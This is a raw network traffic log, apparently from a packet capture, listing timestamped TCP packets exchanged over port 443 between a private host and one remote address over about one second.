Aug 27, 2024 13:05:49.303240061 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.304804087 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.304821014 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.304876089 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.304881096 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.304927111 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.305061102 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.305080891 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.305128098 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.305133104 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.305171013 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.357789040 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.357804060 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.357897997 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.357906103 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.357954025 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.389086962 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.389100075 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.389195919 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.389202118 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.389261961 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.389457941 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.389478922 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.389534950 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.389540911 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.389580965 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.392086983 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.392102957 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.392165899 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.392172098 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.392216921 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.392632008 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.392657995 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.392695904 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.392700911 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.392728090 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.392741919 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.393811941 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.393826008 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.393886089 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.393892050 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.393929958 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.395494938 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.395509005 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.395591021 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.395596981 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.395641088 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.395811081 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.395826101 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.395879984 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.395884037 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.395920992 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.448542118 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.448555946 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.448663950 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.448669910 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.448714018 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.479871035 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.479883909 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.479979992 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.479985952 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.480026960 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.480129004 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.480144024 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.480199099 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.480202913 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.480238914 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.482599974 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.482611895 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.482691050 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.482698917 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.482741117 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.483277082 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.483289003 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.483357906 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.483362913 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.483402967 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.484286070 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.484298944 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.484364986 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.484369993 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.484412909 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.486095905 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.486124039 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.486299992 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.486305952 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.486347914 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.486390114 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.486402988 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.486459970 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.486464024 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.486505032 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.539097071 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.539110899 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.539237022 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.539242029 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.539282084 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.572967052 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.572982073 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.573069096 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.573074102 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.573113918 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.573251963 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.573265076 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.573327065 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.573331118 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.573371887 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.574687958 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.574702024 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.574771881 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.574776888 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.574815989 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.575125933 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.575144053 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.575200081 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.575205088 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.575247049 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.575965881 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.575982094 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.576052904 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.576057911 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.576096058 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.577284098 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.577299118 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.577374935 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.577380896 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.577425003 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.577678919 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.577692032 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.577748060 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.577753067 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.577784061 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.629667997 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.629682064 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.629796982 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.629802942 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.629851103 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.663971901 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.663986921 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.664169073 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.664177895 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.664226055 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.664275885 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.664290905 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.664347887 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.664352894 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.664393902 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.665615082 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.665628910 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.665690899 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.665697098 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.665735006 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.665793896 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.665810108 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.665858984 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.665863991 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.665904045 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.666704893 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.666738033 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.666768074 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.666773081 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.666801929 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.666821957 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.667815924 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.667831898 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.667891026 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.667896986 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.667937040 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.668087959 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.668102026 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.668143034 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.668147087 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.668178082 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.668190002 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.720475912 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.720496893 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.720578909 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.720585108 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.720628977 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.754690886 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.754704952 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.754770994 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.754776955 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.754818916 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.754883051 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.754899025 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.754951000 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.754956007 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.754993916 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.756494045 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.756510973 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.756561995 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.756568909 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.756608009 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.757054090 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.757071018 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.757123947 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.757129908 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.757167101 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.757361889 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.757376909 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.757422924 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.757426977 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.757464886 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.759295940 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.759310007 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.759358883 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.759365082 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.759399891 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.759566069 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.759578943 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.759622097 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.759627104 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.759663105 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.813678980 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.813692093 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.813795090 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.813803911 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.813848019 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.845493078 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.845523119 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.845582008 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.845588923 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.845617056 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.845638990 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.845691919 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.845705032 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.845741987 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.845746994 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.845772028 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.845791101 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.846976995 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.846990108 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.847047091 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.847052097 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.847091913 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.847688913 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.847706079 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.847750902 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.847755909 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.847775936 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.847810030 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.847969055 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.847982883 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.848036051 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.848041058 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.848079920 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.850008011 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.850020885 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.850075960 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.850080967 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.850121021 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.850322962 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.850339890 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.850373983 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.850378036 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.850408077 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.850418091 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.909123898 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.909141064 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.909233093 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.909238100 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.909279108 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.937295914 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.937316895 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.937396049 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.937401056 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.937423944 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.937449932 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.937655926 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.937669992 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.937728882 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.937733889 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.937772989 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.939635992 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.939651966 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.939702988 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.939708948 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.939749002 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.940669060 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.940696001 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.940752029 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.940757990 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.940798998 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.941405058 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.941418886 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.941469908 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.941473961 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.941490889 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.941514969 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.941538095 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.941554070 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.941591024 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.941593885 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.941622019 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.941634893 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.941793919 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.941807032 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.941860914 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.941865921 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.941900969 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.997257948 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.997271061 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.997359037 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:49.997364044 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:49.997407913 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.028052092 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.028065920 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.028145075 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.028150082 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.028203011 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.028227091 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.028244019 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.028290033 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.028295040 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.028331995 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.030102968 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.030118942 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.030208111 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.030211926 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.030255079 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.031267881 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.031281948 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.031347036 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.031352043 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.031392097 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.031620979 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.031636000 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.031692028 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.031697035 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.031733036 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.032345057 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.032358885 CEST	443	49733	52.216.51.233	192.168.2.4
